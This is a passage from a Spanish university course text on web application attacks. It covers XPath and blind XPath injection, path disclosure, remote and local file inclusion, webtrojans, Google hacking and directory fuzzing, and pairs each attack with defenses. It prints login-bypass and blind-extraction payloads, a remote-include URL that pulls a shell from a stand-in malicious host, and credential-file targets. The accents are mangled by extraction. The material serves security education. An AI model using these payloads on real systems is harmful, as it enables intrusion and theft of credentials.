buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

